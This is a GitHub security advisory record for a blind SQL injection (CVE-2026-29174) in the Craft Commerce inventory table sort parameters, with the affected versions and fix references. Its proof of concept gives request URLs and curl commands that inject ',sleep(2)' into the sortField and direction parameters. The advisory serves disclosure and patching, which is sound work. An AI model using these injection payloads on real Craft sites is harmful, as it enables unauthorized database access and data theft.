{"id":"GHSA-pmgj-gmm4-jh6j","summary":"Craft Commerce is vulnerable to SQL Injection in Commerce Inventory Table Sorting","details":"## Summary\n\nCraft Commerce is vulnerable to **SQL Injection** in the inventory levels table data endpoint. The `sort[0][direction]` and `sort[0][sortField]` parameters are concatenated directly into an `addOrderBy()` clause without any validation or sanitization. An authenticated attacker with access to the Commerce Inventory section can inject arbitrary SQL queries, potentially leading to a full database compromise.\n\n---\n## PoC\n### Required Permissions\n- General\n\t- Access the control panel\n\t- Access Craft Commerce\n- Craft Commerce\n\t- Manage inventory stock levels \n\n### Steps to reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce** \u003e **Inventory**\n3. Click on any sortable column header (e.g., \"SKU\") to trigger a sort request\n4. Intercept the request and modify `sort[0][direction]` or `sort[0][sortField]` parameters and append `,sleep(2)` payload to it's current value as follows:\n\n```bash\n# sort[0][sortField]=sku,sleep(2)\nGET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku,sleep(2)&sort[0][direction]=asc&inventoryLocationId=1&containerId=%23inventory-levels\n# sort[0][direction]=asc,sleep(2)\nGET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku&sort[0][direction]=asc,sleep(2)&inventoryLocationId=1&containerId=%23inventory-levels\n```\n\n6. Observe the delay in the response, confirming the injection\n\nAlternatively, you can use the following `curl` (bash syntax) command (replace cookie and target domain as needed):\n```bash\n# sort[0][sortField]=sku,sleep(2)\ncurl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'\u003cCookie\u003e' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku,sleep(2)&sort%5b0%5d%5bdirection%5d=asc&page=1&per_page=25&inventoryLocationId=1&containerId=%23inventory-levels'\n# sort[0][direction]=asc,sleep(2)\ncurl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'\u003cCookie\u003e' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku&sort%5b0%5d%5bdirection%5d=asc,sleep(2)&page=1&per_page=25&inventoryLocationId=1&containerId=%23inventory-levels'\n```\n\n### Impact\nWith this Blind SQLi, an attacker can:\n- **Exfiltrate data** character-by-character using time-based techniques.\n- **Modify or destroy data** (drop tables, update records, alter schema).","aliases":["CVE-2026-29174"],"modified":"2026-03-13T04:22:12.220463Z","published":"2026-03-10T18:23:25Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-03-10T18:23:25Z","nvd_published_at":"2026-03-10T20:16:38Z","cwe_ids":["CWE-89"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/craftcms/commerce/security/advisories/GHSA-pmgj-gmm4-jh6j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29174"},{"type":"WEB","url":"https://github.com/craftcms/commerce/commit/094d69df24b925544f337c38e2ec1effcd5395c7"},{"type":"WEB","url":"https://github.com/craftcms/commerce/commit/a2ea853935ef03297ea1298bdb0d8c55ec5daf7b"},{"type":"PACKAGE","url":"https://github.com/craftcms/commerce"}],"affected":[{"package":{"name":"craftcms/commerce","ecosystem":"Packagist","purl":"pkg:composer/craftcms/commerce"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"fixed":"5.5.3"}]}],"versions":["5.0.0","5.0.1","5.0.10","5.0.10.1","5.0.11","5.0.11.1","5.0.12","5.0.12.1","5.0.12.2","5.0.13","5.0.14","5.0.15","5.0.16","5.0.16.1","5.0.16.2","5.0.17","5.0.18","5.0.19","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.0.7","5.0.8","5.0.9","5.1.0","5.1.0-beta.1","5.1.0-beta.2","5.1.0-beta.3","5.1.0.1","5.1.1","5.1.2","5.1.3","5.1.4","5.2.0","5.2.1","5.2.10","5.2.11","5.2.12","5.2.12.1","5.2.2","5.2.2.1","5.2.3","5.2.4","5.2.5","5.2.6","5.2.7","5.2.8","5.2.9","5.2.9.1","5.3.0","5.3.0.1","5.3.0.2","5.3.1","5.3.10","5.3.11","5.3.12","5.3.13","5.3.2","5.3.2.1","5.3.2.2","5.3.3","5.3.4","5.3.5","5.3.6","5.3.7","5.3.8","5.3.9","5.4.0","5.4.1","5.4.1.1","5.4.10","5.4.2","5.4.3","5.4.4","5.4.5","5.4.5.1","5.4.6","5.4.7","5.4.7.1","5.4.8","5.4.9","5.5.0","5.5.0.1","5.5.1","5.5.2"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.5.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-pmgj-gmm4-jh6j/GHSA-pmgj-gmm4-jh6j.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}